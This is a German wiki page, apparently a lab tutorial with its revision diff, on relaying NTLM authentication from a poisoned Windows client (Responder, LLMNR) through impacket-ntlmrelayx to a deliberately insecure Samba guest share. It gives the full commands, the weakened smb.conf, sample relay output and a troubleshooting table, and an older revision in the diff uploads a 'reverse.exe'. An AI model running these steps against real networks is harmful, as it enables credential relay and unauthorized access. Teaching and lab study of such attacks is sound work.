Version vom 18. Mai 2025, 14:34 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

Angreifer: Kali Linux mit responder und impacket
Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

Konfiguration in /etc/samba/smb.conf:*

[global]
   workgroup = WORKGROUP
   server string = Relayziel
   map to guest = Always
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = SMB2

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup

Verzeichnis erstellen und Rechte setzen:*

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Funktion der Samba-Konfiguration

map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
force user = nobody: Alle Dateien gehören dem Gastnutzer.
Kein SMB-Signing = relayfähig.

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.

Responder starten

responder -I eth0 --disable-http --disable-https

→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell:

\\irgendwas

→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.

Erfolgreicher Zugriff

Im Terminal von ntlmrelayx erscheint:

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
smb> upload /tmp/test.txt

Auf dem Zielsystem prüfen:

ls -l /mnt/media/share

→ Datei ist vorhanden

Fehlerbehebung

Problem	Mögliche Ursache	Lösung
Kein Relay möglich	SMB Signing aktiv	smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing	Kein Login	NTLM wird abgelehnt	In smb.conf: map to guest = Always, ntlm auth = yes	Keine Shell	Share nicht schreibbar	read only = no, force user = nobody, chmod 777 prüfen	Kein Poisoning	LLMNR deaktiviert	Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs	Verbindung scheitert	Routing-Problem	ping vom Kali auf Ziel prüfen	ntlmrelayx zeigt nichts	Kein NTLM angekommen	Wird der Name überhaupt per LLMNR angefragt?

Hinweise

Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
Laborszenario – für Demonstration und Schulung geeignet

@@ Zeile 1: / Zeile 1: @@
-= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
+= NTLM-Relay auf Samba-Freigabe mit Impacket =
 == Ziel ==
-Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
+Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
-* SMB-Zugriff auf die Samba-Freigabe möglich ist
-* Eine Datei in die Freigabe hochgeladen werden kann
-== Voraussetzungen ==
+== Umgebung ==
-* Angreifer: Kali Linux mit impacket & responder
+* Angreifer: Kali Linux mit responder und impacket
-* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
+* Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
-* Ziel: Linux mit Samba (z. B. 10.0.10.104)
+* Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
-* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
-== 1. Samba-Ziel vorbereiten ==
+== Samba-Freigabe vorbereiten ==
-*Samba konfigurieren:*
+*Konfiguration in '''/etc/samba/smb.conf''':*
 <pre>
 [global]
     workgroup = WORKGROUP
-    server role = standalone server
+    server string = Relayziel
-   passdb backend = tdbsam
+    map to guest = Always
-    map to guest = Bad User
     guest account = nobody
+   ntlm auth = yes
+   lanman auth = yes
+   client lanman auth = yes
+   client ntlmv2 auth = yes
+   server min protocol = SMB2
 [share]
-    comment = Relayziel
+    comment = Relay-Ziel
     path = /mnt/media/share
     read only = no
@@ Zeile 34: / Zeile 35: @@
 </pre>
-*Verzeichnis vorbereiten:*
+*Verzeichnis erstellen und Rechte setzen:*
- mkdir -p /mnt/media/share
+<pre>
- chown nobody:nogroup /mnt/media/share
+mkdir -p /mnt/media/share
- chmod 777 /mnt/media/share
+chown nobody:nogroup /mnt/media/share
+chmod 777 /mnt/media/share
+systemctl restart smbd
+</pre>
-*Dienst neustarten:*
+== Funktion der Samba-Konfiguration ==
- systemctl restart smbd
+* map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
+* ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
+* force user = nobody: Alle Dateien gehören dem Gastnutzer.
+* Kein SMB-Signing = relayfähig.
-== 2. Responder starten (Poisoning-Komponente) ==
+== Verbindung testen ==
+<pre>
+smbclient -L //10.0.10.104 -N
+</pre>
- responder -I eth0
+→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.
-→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
+== Responder starten ==
+<pre>
+responder -I eth0 --disable-http --disable-https
+</pre>
-== 3. ntlmrelayx vorbereiten ==
+→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.
-*Mit interaktiver SMB-Shell starten:*
+== ntlmrelayx starten ==
- impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
+<pre>
+impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
+</pre>
-→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
+→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.
-== 4. Angriff auslösen ==
+== Angriff auslösen ==
+Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell:
-*Auf dem Windows-Opfer:*
+<pre>
-Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
+\\irgendwas
+</pre>
- \\irgendwas
+→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.
-→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
+== Erfolgreicher Zugriff ==
+Im Terminal von ntlmrelayx erscheint:
-== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe ==
+<pre>
+[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
+[!] Interactive SMB shell opened...
+smb> upload /tmp/test.txt
+</pre>
-Nach erfolgreichem Relay erscheint:
+Auf dem Zielsystem prüfen:
 <pre>
-[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
+ls -l /mnt/media/share
-[+] Opening SMB relay connection
-[!] Interactive shell opened
-smb>
 </pre>
-*Dort kann man z. B. eine Datei hochladen:*
+→ Datei ist vorhanden
- upload /tmp/reverse.exe
-== 6. Erfolg prüfen ==
-Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
- ls -l /mnt/media/share
-→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
+== Fehlerbehebung ==
-== Zusammenfassung ==
+{| class="wikitable"
-| Komponente | Aufgabe |
+! Problem !! Mögliche Ursache !! Lösung
-|------------|---------|
+|-
-| responder  | Vergiftung von Namensauflösung |
+| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
-| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
+| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Always, ntlm auth = yes
-| Samba      | akzeptiert relayed Authentifizierung als Gast |
+| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
-| Ziel       | Datei auf Samba-Freigabe schreiben |
+| Kein Poisoning || LLMNR deaktiviert || Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs
+| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
+| ntlmrelayx zeigt nichts || Kein NTLM angekommen || Wird der Name überhaupt per LLMNR angefragt?
+|}
 == Hinweise ==
-* Wird der relayed Benutzer nicht akzeptiert, hilft:
+* Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
-** map to guest = Always
+* Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
-* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
+* Laborszenario – für Demonstration und Schulung geeignet
-* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
-== Quellen ==
-* https://github.com/fortra/impacket
-* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share

NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen